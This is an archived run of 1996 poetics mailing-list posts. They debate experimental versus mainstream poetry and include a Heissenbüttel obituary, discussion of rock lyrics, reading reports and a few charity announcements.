I was under the impression that there had been quite a bit of such whining and dining on the part of the imps. & their posts --

After many years of attempting to ford the mainstream, I, like Rod, started a publication to assist others whose backs were as wet as my own --

Then, what do you suppose happened? My wife got a Ford fellowship!

Just read a book on postmodernism in which there is not only not a single ref. to any poetry, but no discussion of any "experimental" - "innovative" -- or even out of the ordinary in terms of the actual writing writing -- Seems it's all a matter of thematics %^$*^%#*%^#$

non-sequitur where none intended --

↑ Index

405. Aldon L. Nielsen
Re: Corporate Post-Impressionism (fwd)
Fri 18 Oct 1996

---------- Forwarded message ----------
Date: Thu, 17 Oct 1996 14:06:22 -0700 (PDT)
From: Aldon L. Nielsen <[redacted]>
To: UB Poetics discussion group <[redacted]>
Cc: Multiple recipients of list POETICS <[redacted]>
Subject: Re: Corporate Post-Impressionism

The buck sucks here

↑ Index

406. Tom Malone
Helmut Heissenb|ttel
Sat 19 Oct 1996

Thought this obit from the 10/19/96 edition of The Times of London would be of interest. If you subscribe to The Times, there's also an accompanying photo! Apologies if this has already been posted. I'm on the digest version.

Regards,
Tom Malone

Providing web design and tech support for:
http://www.eroscomix.com (frames)
http://www.fetishsex.com

Helmut Heissenb|ttel, German writer, died on September 19
aged 75. He was born on June 21, 1921.

FOR almost 40 years Helmut Heissenb|ttel espoused an extreme
literary modernism that by the end of his career had come to seem
rather old-fashioned. Literature, he believed, could have only one real
subject, and that was language itself. In a large body of work which
resisted classification into any of the familiar genres he himself
preferred to talk of "texts" and "projects", rather than "poetry" or
"theory" or "prose" Heissenb|ttel attempted to penetrate language

and lay bare its hidden workings, testing to the limit our ability to grasp the world through words.

Not surprisingly, perhaps, he was never a popular writer. But he was esteemed by critics and fellow writers in Germany and elsewhere, and for a time in the 1960s and 1970s the experimental tendencies he embodied seemed an important part of literary life. His works were translated into English and other languages (though they were no easier to translate than to classify), and he was honoured with some of the German-speaking world's most coveted literary awards.

The son of a bailiff, Helmut Heissenb|ttel was born in R|stringen near Wilhelmshaven. In the course of military service during the Second World War he was severely wounded, losing his left arm in 1941, after which he took no further part in the fighting. From 1942 to 1955 he studied at the universities of Dresden, Leipzig and Hamburg, reading first architecture, then German literature and art history. On finishing his studies, he spent two years working in advertising in Hamburg, before moving to Stuttgart to join the staff of South West German Radio, where in 1959 he succeeded the novelist Alfred Andersch as head of the "Radio-Essay" department, and where he remained until his retirement in 1981.

Heissenb|ttel began to write at the age of 15, but his first published works date from the early 1950s. Collected in two volumes Kombinationen (1954) and Topographien (1956) these early

pieces
present a view of the world that is fragmented, contradictory and
incomplete, but still unmistakably lyrical in inspiration and intent;
this is writing that belongs to a recognisable poetic tradition.

From the 1960s onwards, however, in works such as those collected
into a series of numbered Textb|cher, Heissenb|ttel moved much
further away from what he saw as the arbitrary hierarchies of
conventional grammar and syn tax, and relied instead on techniques
such as collage, quotation and juxtaposition. These methods were
developed and elaborated to a daunting degree in the complex multiple
perspectives of D'Alembert's Ende (1970), an extended fiction that
was the nearest Heissenb|ttel came to writing a novel.

But Heissenb|ttel's approach to language was always less purely
playful than that of some of his contemporaries and associates, such
as the Austrians Ernst Jandl and Friederike Mayrvcker. What fascinated
him about words was their role in human society, so that his linguistic
games and experiments, far from becoming an end in themselves, are
often turned to sharply satirical purpose.

Heissenb|ttel was fortunate to be able to spend his working life in a
job that provided a focus and forum for his literary and artistic
interests: as editor in charge of the influential "Radio-Essay"
programme strand at South West German Radio, he commissioned and

collaborated on talks, readings and performances by many of the most
significant avant-garde figures of the day. He was also a perceptive
and original critic, not only of literature but of the visual arts. The
range of his contacts, and the depth of their affection for him, was
evident in the volume of tributes presented to him on his seventieth
birthday in 1991.

Helmut Heissenb|ttel is survived by his wife Ida, whom he married in
1954, and by a son and three daughters.

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407. **Pierre Joris**
Re: Helmut Heissenb|ttel
Sat 19 Oct 1996

Thanks for forwarding the Times obit, Tom. What it goes to show, in view of recent threads here, is that Times or TLS, meme combat! The same dismissive attitude towards any wriitng that is not sterilized & sanitized mainstream salon-fahig. For Iain Sinclair's book the attack has to be in the face, given that Iain is still alive & kicking as are most of the writers in his anthology. The Heissenbuttel obit can be mnore gentile, given that heissenbuttel isn't around anymore. But the background ideology both pieces come from is close to identical. Basically the century's explorations are written off, there is a sense that happily we are back where we started, safe in old England, where Victoriana-Thatcherian values (culturally, Arnoldian-Eliotian conservatism) have won the day. Vide a sentence like the one opening one of the obit:

> *FOR almost 40 years Helmut Heissenb|ttel espoused an extreme literary modernism that by the end of his career had come to seem rather old-fashioned.*

One may be allowed to wonder, "to whom did it seem old-fashioned?" The all-knowing Times obit-lit-crit who lays the century's attempts at "making it new" to rest in one crisp sentence. It is the opening sentence & sets the tone. We now know that HH was a nice old out-of-date fart who doesn't need to be taken seriously TODAY. & we can then go on to be nice to him — 'cause like all other Indians & poets, once dead, they're good — & talk, not unintelligently of what his project was.

Pierre

==========
========== Pierre Joris | I still know little about po-
ems, but I do know Dept. of English | that suspicion is important. Be
sufficiently SUNY Albany | suspicious, suspect the words, the lan-
guage, Albany NY 12222 | I have often told myself, heighten this
tel&fax:[redacted] | suspicion — so that someday, soemthing New email:
| can come into being... Ingeborg Bachmann [redacted]|
==========
==========

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408. Steve Carll

Eclecticism: Snap Crackle AND pop

Sat 19 Oct 1996

I just want to go on record agreeing vociferously with Rob Hardin, who, with his extensive musical back (and fore) ground, obviously knows what he's talking about:

...agreeing that eclecticism is not snobbery and, therefore, we should stop worrying about the categories and discuss the work on its own merit, regardless of what part of the musical spectrum it comes from or who its intended or actual audience is.

...agreeing that Oasis are derivative of 60's British pop and complete morons to boot, making them and their music indefensible and uninteresting on critical grounds (however I must add that they're derivative of a musical style I'm personally not yet sick of hearing variations on, and I think they're quite good at pastiching aspects of that style. Why do I think this? Maybe a real musician could tell us...)

...agreeing with all that stuff about Nirvana too!

On another interface, I'd like to just clarify something that Tom Mandel responded to: I am aware that what's now called "classical" music (particularly opera) once had a wide enough audience to merit the term "popular". However, when I used the term popular, I didn't mean popular, I meant popular. I mean the category popular music doesn't necessarily align itself with what's popular in the sense that a lot of people like it. Separated by a common language.

All this agreeableness is making me thirsty.

****

[redacted] Steve Carll

http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

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409. **Anselm Hollo**
Re: Heissenbuttel encore
Sun 20 Oct 1996

Bravo, Pierre!
& I guess we've both been around long enough to recognize that implacable philistinism, over there as over here. Seems like some of the young 'uns still have to find out.
Anselm of the Corvidae

↑ Index

410. **Lisa Jarnot**
Ear Inn Update
Sun 20 Oct 1996

EAR INN UPDATE

Despite a vicious rainstorm that even cancelled baseball, the Ear Inn was once again filled to capacity on Saturday October 19th. Hordes of poets braved the downpour and high winds to see Anselm Berrigan and Kim Lyons read their work.

Anselm opened the reading with "I remember hearing Joe Brainard read his poem I Remember at the Ear Inn..." and proceeded from there with a great series of meditations about life in San Francisco. Bernadette Mayer later said that Anselm's Mount Shasta poem included a secret message about UFO activity.

Kim Lyons complemented Anselm's reading with incredible meditations about life in New York. No UFOs, but some pigeons. She closed her reading with a new and truly epic poem called "Eon" which ranks in the top ten list of great poems read at the Ear Inn.

The audience included, alphabetically: Tim Atkins, Brenda Coultas, Tim Davis, Joe Elliot, Rob Fitterman, Liz Fodaski, Drew Gardner, John Godfrey, Judith

Goldman, Phil Good, Jackson Highfill, Mitch Highfill, Bill Luoma, Anna Malmude, Greg Masters, Bernadette Mayer, Sophia Mayer, Douglas Rothschild, Prageeta Sharma, Eleni Sikelianos, Lorna Smedman, Juliana Spahr, Brian Stefans, and Lewis Warsh.

If your last name begins with B, I, K, N, O, P, Q, T, U, V, X, or Z, please come to the Ear Inn on Saturday October 26th at 2:30 pm to see Deirdre Kovac and Barbara Henning. Deirdre is a BIG ALLIS associate editor and her work has been kicking ass all over the country in magazines such as Denver Quarterly, Object, Letterbox, and The Poetry Project Newsletter. Barbara's most recent book, LOVE MAKES THINKING DARK, was released by United Artists last year.

The Ear Inn is at 326 Spring Street in New York City. Come early, stay late it's the greatest show on earth.

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411. Matt Kirschenbaum
Darick Chamberlain
Sun 20 Oct 1996

Does anyone on Poetics happen to have an email address for Darick Chamberlain, author of the "mock-machine mock epic" _Cigarette Boy_?

Thanks,

--Matt

========== Matthew G. Kirschenbaum University of Virginia [redacted] Department of English
http://faraday.clas.virginia.edu/~mgk3k/ Electronic Text Center

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412. Pierre Joris
[Fwd: South Africa International Book Drive]
Sun 20 Oct 1996

This is a multi-part message in MIME format.

may be of interest to some here on the list -- p
--
==========
Pierre Joris | I still know little about poems, but I do know
Dept. of English | that suspicion is important. Be sufficiently

SUNY Albany | suspicious, suspect the words, the language,
Albany NY 12222 | I have often told myself, heighten this
tel&fax:[redacted] | suspicion — so that someday, soemthing New
email: | can come into being... Ingeborg Bachmann
[redacted]|
==========

id AA01880; Sun, 20 Oct 1996 11:25:31 -0500
id AA01874; Sun, 20 Oct 1996 11:25:25 -0500
id MAA15818; Sun, 20 Oct 1996 12:24:05 EDT
To: [redacted]
Subject: South Africa International Book Drive
From: [redacted] (Lucy Komisar)
Date: Sun, 20 Oct 1996 12:24:05 EDT

The new South Africa has libraries and schools, but it is tragically short on books. One non-profit organization that has begun to fill South Africa's need for books is the South African International Book Drive. This organization was founded in 1993 by Dr. Julius Wayne Dudley, a Professor of History at Salem State College in Massachusetts, USA.

The South African International Book Drive has shipped more than 600,000 books to South Africa. Over three hundred South African schools and libraries are currently receiving books and educational materials from the organization which hopes to ship more than one million books to South Africa by the year 2000. Books of all types and for all age groups are desperately needed throughout the country. Textbooks, educational toys, works of literature, stationery, computer disks, writing instruments, as well as library reference materials are all in short supply and are desperately needed, Dr. Dudley reports.

How you can help

The South African International Book Drive welcomes donations of any of the items listed above or funds to help pay for related expenses.

For more information or to make a donation, contact:
Dr. Julius Wayne Dudley
The South African International Book Drive
870 Huntington Ave.
Boston, MA 02115
USA

Telephone: [redacted] or [redacted]
Fax: (508) [redacted]
E-mail: [redacted]

----------31464C695251--

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413. Tony Green
Re: What experimental poets do to the mainstream
Sun 20 Oct 1996

I agree, Thomas Bell, "experimental" can only make sense as "trials", "trying it on" "seeing what can be done if such and such a condition were to be changed" and the histories of the arts are stories of trials & errors then? Sides do get taken over this (as per the v recent and continuing Evans,Wallace,Tuma, Lightman debate).

The "psychic investments" involved are maybe something you cd comment on? How do us "marginalized" persons come to be that way? What is the attraction? What does it mean to want Steve Evans to hold off from a counter-attack on Potts who has it seems attacked Iain Sinclair and his anthologised companions? I can only wonder.

best

Tony Green,
e-mail: [redacted]

↑ Index

414. Tom Beard
Re: What experimental poets do to the mainstream
Sun 20 Oct 1996

tom bell wrote:
>
> It's a sad comment on the way we think today that the experimental method
> has become the only or dominant point of reference on "experiment". My
> (mind and) dictionary may be old-fashioned or out-dated but for me it's
> still a "test or trial undertaken to _discover_ something", no?

Good point. Maybe I am using the term "experiment" too literally or narrowly, but my background is in science and I think that it may be useful to consider the primary meaning (as used in the sciences) of a term when applying it to other fields.

Still, your definition of an experiment as a "test or trial undertaken to _discover_ something" may not be too far from mine. The question is, do we have some idea of what it is we might discover? Do we have some way of telling whether, once the experiment has been undertaken, whether anything _has_ been discovered?

Maybe a better term for activities (literary or scientific) that hope to discover something, without having a pre-conceived idea of what that something might be, is "exploratory". This might link in well with your emphasis on "discovery", though some might detect colonialist overtones in both words. It sounds like something to be conducted in the open air rather than in a laboratory.

Still, using the word "discovery" as the touchstone for "experimental" writing might be unfair to other modes of writing. For example, many poets who work in the lyric mode would argue that a poem (for them) is a process of discovery, and yet few would apply the term "experimental" to such poems. I've come to dislike one traditional definition of the lyric mode as an "expression of personal emotion", preferring instead the idea that the lyric process is an "exploration of ((personal) emotion)". An exploration, possibly a discovery, but unlikely to be referred to as an experiment.

I hope I'm not coming across as a nit-picker - just intrigued by the clouds of possible meanings that surround these words.

Cheers &c,

Tom Beard.

↑ Index

415. Thomas M. Orange
defensiveness as prop?
Sun 20 Oct 1996

A certain amount of the moronic is a staple for much of rock music's poetics:

Well last year I was twenty-one,
Didn't have a lot of fun;
Now I'm gonna be twenty-two,
I say oh my and a boo-hoo
[Iggy Pop]

I would argue that lyrics become poetic primarily in their delivery, which is why Dylan is poetic and Jim Morrison is not, why Iggy Pop is poetic and

Sad preacher nailed upon the colour door of time,
Insane teacher be there reminded of the rhyme,
There'll be no mutant enemy we shall certify

> Political ends as sad remains will die.
> Reach out as forward tastes begin to enter you.
> [Jon Anderson]

is not. Scan these two excerpts, go ahead. Iggy gives us a little iambic tetrameter, Anderson pens an almost perfect string of alexandrines. As far as content, the latter is perhaps more poetic, though far less intelligible and almost opaque in its aspirations for literariness. But Iggy means what he says and you know it in his delivery, especially when he proceeds in the song to let out a series of whoops! and yelps! and yrrrowps! that only he can do. (Nick Cave comes awfully close, as does Cobain in his own way.) In short, as much as I like Yes, Iggy has more poetry in his thumbnail than Anderson does.

Cobain's "a mosquito/my libido" has something Iggy-esquely moronic about it, but does it fail as a poetic image? (Libido is small, pesky, displaces blood-as-food with toxin-as-irritant, etc.) It's not a reading I would want to push too far, of course. But with "In Utero," Cobain pushes "teen angst" (another rock staple) into a kind of unparalleled confessionalism (given what we know about the lengths he went to to seek relief for his chronic stomach trouble):

> I'm on warm milk and laxatives,
> Cherry-flavored antacid.

Again, not terribly poetic by most standards. What about

> doll steak
> test meat

Evocative, perhaps; poetic? Hard to say, until you factor in the raw and dare I say bloodcurdling delivery.

Not having read any of Nick Cave's published writings, I can't really make a thorough case--given also that some of fun lyrics on Birthday Party albums are not by him ("Capers," Genevieve McGuckin; "A Dead Song," Anita Lane; "The Dim Locator," Rowland S. Howard). Cave does give us, however:

> Hamlets fishin in the grave x2
> thru the custard bones and stuff
> he aint got no friend in there x2
> I believe our man's in love
> Hamlet's got a gun--now
> he wears a crucifix x2
> pow pow pow pow/pow pow pow pow
> Hamlet moves so beautiful x2
> walking thru the flowers
> who are hiding 'round the corners
> He's moving down the street--now

he likes the look of that cadillac
and now he wants that cadillac
pow pow pow pow/pow pow pow pow
IS THIS LOVE some kinda love x2
Now he's movin' down my street
and he's coming to my house
crawling up my stairs
WHERE FOR ART THOU BABY-FACE
Where-for-art-thou
pow pow pow pow/pow pow pow pow
....

Whatever the merits of imagining Hamlet on a psychotic killing spree, the growl of the second "he ain't got no friend in there" and the second "where-for-art-thou" have to factor in to any assessment.

Dylan sings "and [you know] something is happening [here] but you don't know what it is" differently each time. Sometimes it's "and you knooow something is happening...," sometimes it's "but sahmthing's happ-a-ning here...," etc.

Cheers,

Tom Orange
London, Ontario

↑ Index

416. **Thomas Bell**
Marginalized?
Sun 20 Oct 1996

As someone who is on the "margins" of poetry I'm a little confused. It seems to me that poetry is experimental (avant garde?) and academic, formal, free verse, traditional, etc., are offshoots (albeit reified) of this. I have a feling many lay people would agree? tom bell

At 11:53 AM 10/21/96 GMT+1200, Tony Green wrote:

> *The "psychic investments" involved are maybe something you cd comment on? How do us "marginalized" persons come to be that way? What is the attraction? What does it mean to want Steve Evans to hold off from a counter-attack on Potts who has it seems attacked Iain Sinclair and his anthologised companions? I can only wonder.*
>
> *best*
>
> *Tony Green,*
> *e-mail:* [redacted]

↑ Index

417. **Thomas Bell**

Re: Situation #13

Sun 20 Oct 1996

Received my copy. Looks great. Please send subscription info. I'm
not sure whether or not I did this.
tom

At 09:57 AM 10/16/96 -0400, Mark Wallace wrote:
>Situation #13 is now available. This issue features work by Phyllis
>Rosenzweig (very good, a must read), Paul Long, Renee Gladman, Paul
>Weidenhoff, Ken Sherwood, Tod Thilleman, Graham Foust, David Baratier,
>William Marsh, Steve Carll, and an electronic mail renga extravaganza,
>arRange of Rengas.
>
>Subscriptions to Situation are $10 for four issues, or $3 for single or
>back issues. Please make checks payable to Mark Wallace, 10402 Ewell Ave.,
>Kensington, MD 20895.
>
>Thump thump.
>
>
>
>/----------\
>| |
>| [redacted] "I have not yet begun |
>| to go to extremes" |
>| GWU: |
>| http://gwis2.circ.gwu.edu/~mdw |
>| EPC: |
>| http://writing.upenn.edu/epc/authors/wallace |
>|_____|
>
>

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418. Thomas Bell
Re: What experimental poets do to the mainstream
Mon 21 Oct 1996

At 12:59 PM 10/21/96 +1300, Tom Beard wrote:

>Good point. Maybe I am using the term "experiment" too literally or
>narrowly, but my background is in science and I think that it may be
>useful to consider the primary meaning (as used in the sciences) of a
>term when applying it to other fields.
>
>Still, your definition of an experiment as a "test or trial undertaken
>to _discover_ something" may not be too far from mine. The question is,
>do we have some idea of what it is we might discover? Do we have some
>way of telling whether, once the experiment has been undertaken, whether
>anything _has_ been discovered?
>
I think we do.

From the perspective of science (I am one of those, too.): " experimentation...is designed to detect causal agency. One does something to the world and then looks to see whether it has an effect." (from the latest _Am. Jl of Psychology_ sitting on my desk)

that which is effecting?

to continue: "As described by [the classic psychological reference on psychology] 'true' experiments incude contrasts (i.e., controls) as a means of ruling out rival plausible alternative explanations for any 'effects' observed."

Are the "effects" of reading a poem due to the poem or the air in the room?

These 'effects' might or might not be replicable in further experimental trials.

I realize I'm being argumentative and do apologize for the possibility of this being taken in that sense, but like you I do feel this is an important issue.

Cheers &c,

Tom Bell

↑ Index

419. Louis Cabri
Re: Corporate Post-Impressionism (fwd)
Mon 21 Oct 1996

The buck sucks here

& there suck Is out

Let the buzzcocks play

↑ Index

420. Louis Cabri
Re: primi too taa
Mon 21 Oct 1996

Eryque,

Your man is Colin Morton. He's a poet and a good concrete poet. That film he did with folk in Winnipeg, I believe. In oTtawa he founded First Draft, a sound poetry performance group that empphasized script over improvisation (some tapes still kicking around), in the 80s. I agree, it's a great short film. He's at [redacted]

-Louis

↑ Index

421. James Brook
SF library controvery - media sources
Mon 21 Oct 1996

All--

The dismal situation at the San Francisco Public Library has national resonance, as evidenced by the recent New Yorker and Newsweek articles on what the city librarian calls a "mall for the mind." I'm forwarding a list of media sources accessible over the web. Following this list you'll find my response to the Newsweek article.

--James Brook

ACCOUNTS OF THE SAN FRANCISCO PUBLIC LIBRARY CONTROVERSY

Recent News Media Available Via Links to the World Wide Web Compiled by Walter Biller, Editor, THE SAN FRANCISCO ALMANAC For further information: <[redacted]> October 19, 1996

This post links to web sites carrying stories on San Francisco's public library controversy. Additional articles have been published in periodicals and newspapers in the Bay Area and around the world. For library administration accounts, see the SFPL website at <http://sfpl.lib.ca.us/>. See also THE NEW YORKER, October 14, 1996, and NEWSWEEK magazine, October 21, 1996, for major articles not linked here. Searches of the Bay Guardian and Examiner websites will yield additional news. This list is in chronological order, August 28-October 16, 1996.

DUBIOUS DISCARDS New evidence reveals that the library trashed more than 100,000 books in the last two years. (Search engine provides additional links.) Complete story at: <http://www.sfbayguardian.com/Politics/96_08/082896lib.html> SAN FRANCISCO BAY GUARDIAN August 28, 1996

NEW LIBRARY INADEQUATE-NO SPACE FOR BOOKS, CRITICS CLAIM The new San Francisco Main Library opened its doors April 18 amid a flurry of excitement, but all that glitters is not gold. Complete story at: <http://www.cityvoice.com/8.15.96/library.html> THE CITY VOICE (San Francisco) August 15, 1996

SPACE AT SF's NEW LIBRARY LESS THAN WE NEED, CHIEF ADMITS The chief librarian of the Main Library has finally admitted the new $140 million building has less room for books than anticipated - and "less than we need." Locate story via: <http://www.sfgate.com/wais/search/exam-pro.html> Search engine provides this article and others. Best search phrases: "Gerald Adams" (byline field) and "library" (keywords field) SAN FRANCISCO EXAMINER September 4, 1996

NEW CITY LIBRARY MAY BE POORLY DESIGNED Just when it seems that all of the ruckus surrounding the new Main Library has quieted down, another bombshell of controversy explodes. Complete story at: <http://www.cityvoice.com/9.16.96/library.html> THE CITY VOICE (San Francisco) September 15, 1996

SAN FRANCISCO LIBRARY ACCUSED OF TOSSING THOUSANDS OF BOOKS Have libraries become high technology showrooms at the expense of books? <HTTP://[redacted]/US/9610/13/library.book.toss/index.html> CNN HEADLINE NEWS (San Francisco) website and broadcast October 12, 1996

MAYOR BROWN CALLS FOR AUDIT OF PUBLIC LIBRARY SYSTEM San Francisco mayor Willie Brown tackled the issue of the recently disclosed deficit at the SF Public Library. A broad-based article. Complete story at: <http://www.cityvoice.com/10.15.96/Library.html> THE CITY VOICE (San Francisco) October 16, 1996

/// END POST/SFPL MEDIA LINKS August 8-October 16, 1996 ///

Newsweek Letters Editor:

The sorry state of the San Francisco Public Library ("A Mall for the Mind," The Arts, Oct. 14) shows no sign of improving: books are still being dumped, there's a $1.9 million deficit, and Mayor Willie Brown has called for an audit. City Librarian Ken Dowlin and his administration are indeed

intent on recreating the public library in the image of the shopping mall. Their "public-private partnership" opens the door wide to corporatist ideology, which aims at enclosing and profiting from "the commons of knowledge." In decades past San Franciscans were the first to resist the effects of unchecked freeway building; Nicholson Baker and friends may well have started an information freeway revolt.

James Brook

Coeditor of Resisting the Virtual Life: The Culture and Politics of Information (San Francisco: City Lights, 1995)

↑ Index

422. Michael Boughn
Re: What experimental poets do to the mainstream
Mon 21 Oct 1996

FROM THE CANADIAN BUREAU:

There's a rumour that in Vancouver experimental dildoes are rapidly becoming mainstream due to some programmes at Simon Fraser University aimed at getting your ordinary sex shoppe consumer to "try on" and "explore" something a little different. It's widely believed that the researchers will now be eligible for Nobel prizes.

There was also recent talk in the media here that the Royal Bank, as part of its campaign to take away business from the Bank of Montreal, has bought some other lyrics from Dylan and is now mounting a national ad campaign around the slogan "It don't take weatherman to know which way the wind blows." Aging Canadian "boomers" are reportedly up in arms that their nostalgia fantasies are being wantonly violated by big business.

Credulously,
Mike
[redacted]

↑ Index

423. henry gould
Re: Marginalized?
Mon 21 Oct 1996

On Sun, 20 Oct 1996 23:58:42 -0400 Thomas Bell said:
>As someone who is on the "margins" of poetry I'm a little confused. It seems
>to

>me that poetry is experimental (avant garde?) and academic, formal, free
>verse, traditional, etc., are offshoots (albeit reified) of this. I have a
>feling many lay people would agree?
>tom bell

I for one would agree with this. & I like Tom Beard's suggestion that "explore/discover" might work better than "experiment" to describe what's involved in most bona fide poetry. But the experimental method is only a part of the scientific method, which involves exploring & measuring possibilities. As Tom Mandel mentioned, there's probably a lot of previous talk on this line in the archives.

But this leads me to another battleground... this debate over Potts & the marginalization of the experimental reminds me of the Sokal flapdoodle. Tony asks whether there is an element of self-marginalization (internalizing the oppressor?) involved. It seems to me there is in the process of making poetry a range or oscillation between the freedom of pure formal playing around & on the other hand a powerful impulse to formulate (in a scientific sense) - to bring things together, to comprehend, and to communicate these comprehensions. The new amalgams of understanding may be extremely precise, narrow & refined in an aesthetic sense & in the sense of a "message": this tends to create a superficial likeness between the two ends of the spectrum (pure play & new communication).

Now if your writing tends toward the first - pure play, art for art's sake - then in a work-driven conflicted world, this seems to entail marginalization. & if your writing aims toward the second, the same may be true! but not so automatically, not so necessarily. In the second hand there's are real comprehensive/communicative push, that may extend beyond the borders of art per se.

I know people are fed up with such abstract formulations. But what I'm trying to suggest is that perhaps there's a "basic theoretical poetry" just as there's a "basic theoretical science", and if this is the case, caution is called for before politicizing either "experimental" or "mainstream" on behalf of a political slant (either the politics of publication & literary clout, or politics per se). - Henry Gould

↑ Index

424. **maria damon**
Re: defensiveness as prop?
Mon 21 Oct 1996

---

to thomas orange's long post abt rock lyrics i must add my cents x2. i think the point about how delivery, or, as i'd say in other contexts, context itself, can make something poetic. this is something that's often often overlooked in these

page-based discussions. there are many instances in which the banal can be transfigured by the power of a situation or the power of delivery. or when, embedded in the banal, a gem of "originality" leaps out --but it's the context that makes that originality gemlike...etc. md

↑ Index

425. **maria damon**
Re: Marginalized?
Mon 21 Oct 1996

---

not that i have much stake in the discussion of what constitutes "avant garde" and what is "mainstream" --i've kept out of the discussion so far, but now i guess my logorrhea's caught up w/ me: i have been interested in the reception of my only book,which has the word "vanguard" in its title. most of my readership seems to be among writers and scholars interested in the avant-garde as a reified literary canon of writers and styles, whereas i was --and am --interested more in a process of being-out-on-a-limb for a cross-section of writers. thus i wrote abt robert lowell who would not qualify as "avant garde" by just about any standards, but who undertook an exploratory self-refashioning when he adopted the confessional mode. i paired lowell with some girls writing in a ged program in a south boston housing project. for me, this section wsa the most exciting. for others it counted only as a brave attempt to make "bad poetry" relevant. for me, it wasn't bad poetry and i wasn't on a missionary trip. i liked it. so, what's my point. i notice i'm rambling in the fields of personal anecdote, or, as kenneth koch sez of wordsworth, "nosing along in the shallows." i guess i agree with those on this list who would like to widen the sense of "experimental" toward process rather than categorizable product. doing so seems to make possible a broader range of interesting readings of all texts. at the same time, i have found that "experimental poetry" in the reified sense has been a terrific pedagogical tool for accomplishing that "defamiliarization" russian formalists posit as the trademark of literary language --the students are plunged immediately into the realm of the literary with no recourse, initially, to their recuperative quotidien narratives. but then again, maybe shakespeare accomplishes that for them too.

In message <[redacted]> UB Poetics discussion
group writes:
> On Sun, 20 Oct 1996 23:58:42 -0400 Thomas Bell said:
> >As someone who is on the "margins" of poetry I'm a little confused. It
> seems
> >to
> >me that poetry is experimental (avant garde?) and academic, formal, free
> >verse, traditional, etc., are offshoots (albeit reified) of this. I have a

> >feling many lay people would agree?
> >tom bell
>
> I for one would agree with this. & I like Tom Beard's suggestion that
> "explore/discover" might work better than "experiment" to describe what's
> involved in most bona fide poetry. But the experimental method is only
> a part of the scientific method, which involves exploring & measuring
> possibilities. As Tom Mandel mentioned, there's probably a lot of
> previous talk on this line in the archives.
>
> But this leads me to another battleground... this debate over Potts &
> the marginalization of the experimental reminds me of the Sokal flapdoodle.
> Tony asks whether there is an element of self-marginalization (internalizing
> the oppressor?) involved. It seems to me there is in the process of making
> poetry a range or oscillation between the freedom of pure formal playing
> around & on the other hand a powerful impulse to formulate (in a scientific
> sense) - to bring things together, to comprehend, and to communicate these
> comprehensions. The new amalgams of understanding may be extremely
> precise, narrow & refined in an aesthetic sense & in the sense of a
> "message":
> this tends to create a superficial likeness between the two ends of the
> spectrum (pure play & new communication).
>
> Now if your writing tends toward the first - pure play, art for art's sake -
> then in a work-driven conflicted world, this seems to entail marginalization.
> & if your writing aims toward the second, the same may be true! but not
> so automatically, not so necessarily. In the second hand there's are
> real comprehensive/communicative push, that may extend beyond the bor-
ders
> of art per se.
>
> I know people are fed up with such abstract formulations. But what I'm
> trying to suggest is that perhaps there's a "basic theoretical poetry"
> just as there's a "basic theoretical science", and if this is the case,
> caution is called for before politicizing either "experimental" or
> "mainstream" on behalf of a political slant (either the politics of
> publication & literary clout, or politics per se). - Henry Gould

↑ Index

426. **Pierre Joris**
Human Rights Watch
Mon 21 Oct 1996

Thought this may interest some here -- Pierre

Human Rights Watch is pleased to announce its new site on the World Wide Web. For those you with Web access, please visit us at http://www.hrw.org.

Available in an easy-to-use format is the latest news about Human Rights Watch activities, campaigns and publications. A new feature of our work is the How You Can Help section, which gives ideas for specific action individuals can take to help promote respect for international human rights. A printable form for making donations is also available.

Detailed information about the organization is available on the site, including our most recent annual report, questions and answers about our work,job opportunities with Human Rights Watch and lists of board and staff members.

If you are interested in linking your organization's website to
ours,
please e-mail Robert Kimzey at [redacted].

For those without access to the Web, we will continue to maintain our gopher site at: gopher://gopher.humanrights.org:5000/11/int/hrw.

To improve our e-mail list service, we are considering providing region-specific e-mail lists in addition to our general list. The regions are:

Sub-Saharan Africa
The Americas and the Caribbean
Asia
Europe and Central Asia
The Middle East and North Africa

If you would be interested in changing your subscription to one or more of these lists (which will enable us to tailor our transmissions to your regional interests) please let us know by e-mailing Karen Sorensen, online research associate, at [redacted].

Website Address: http://www.hrw.org Gopher Address: gopher://gopher.humanrights.org:5000/11/int/hrw Listserv address: To subscribe to the list, send an e-mail message to [redacted] with "subscribe hrw-news" in the body of the

Human Rights Watch
485 Fifth Avenue
New York, NY 10017-6104
TEL: 212/[redacted]

FAX: 212/[redacted]
E-mail: [redacted]

1522 K Street, N.W.
Washington D.C. 20005
TEL: 202/[redacted]
FAX: 202/[redacted]
E-mail: [redacted]

--
==========
Pierre Joris | I still know little about poems, but I do know
Dept. of English | that suspicion is important. Be sufficiently
SUNY Albany | suspicious, suspect the words, the language,
Albany NY 12222 | I have often told myself, heighten this
tel&fax:[redacted] | suspicion — so that someday, soemthing New
email: | can come into being... Ingeborg Bachmann
[redacted]|
==========

↑ Index

427. **henry**
Re: Meeting the poet through the poem
Mon 21 Oct 1996

Have you read Mandelstam's essay "On the Interlocutor"? He talks a lot about the distant reader, the reader in the future.

I agree with what you said about the charisma aspect (maybe charisma has the wrong connotations). But then, people are complex(!!). I remember reading somewhere about the Italian partisans who captured Ezra Pound, how one or a few of them said he was immediately likeable, that he seemed like an extraordinary, a "good" man. These were the same partisans in a death-struggle with Nazis & collaborators. - Henry Gould

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428. **Mark Wallace**

close readings

Mon 21 Oct 1996

I think Keith Tuma makes some good points about the necessity of close readings of poets across the boundaries of various "genre" limitations. LIke you, Keith, I share some interest in "mainstream" poets--Frank Bidart's pretty good, I like James Tate at times, and Frederick Turner seems to me fascinating in his wrong-headed ambitions; his belief that iambic pentameter is the natural rhythm of the human body strikes me as almost as crazy as phrenology--I keep thinking that he must be suggesting that if we went back to the earliest forms of human life, we'd find cave writing in iambic pentameter.

I'm currently doing a rewrite of a piece "On the Lyric As Experimental Possbility" which I originally published in Witz but have never been happy with, and in the new version of that piece I do a close reading of poems by Robert Pinsky and Robert Hass along with a close reading of a recent poem by Jennifer Moxley (her new book, IMAGINATIONS, just out from Tender Buttons, is a must) in order to show how Jennifer's poem uses lyric to critique notions of singular, contained, asocial identity that Haas and Pinsky put forward as central to their work. Haas and Pinsky both finally settle on this notion that desire is not socially mediated, but rather a fact of being individual--one of the high points for Pinsky being when he suggests of people that "some like chocolate in the middle of the night" while others do not. Moxley, on the other hand, draws attention to the socially mediated aspects of her desires, while at the same time suggesting that attention to particularities and differences in issues of desire remain relevant.

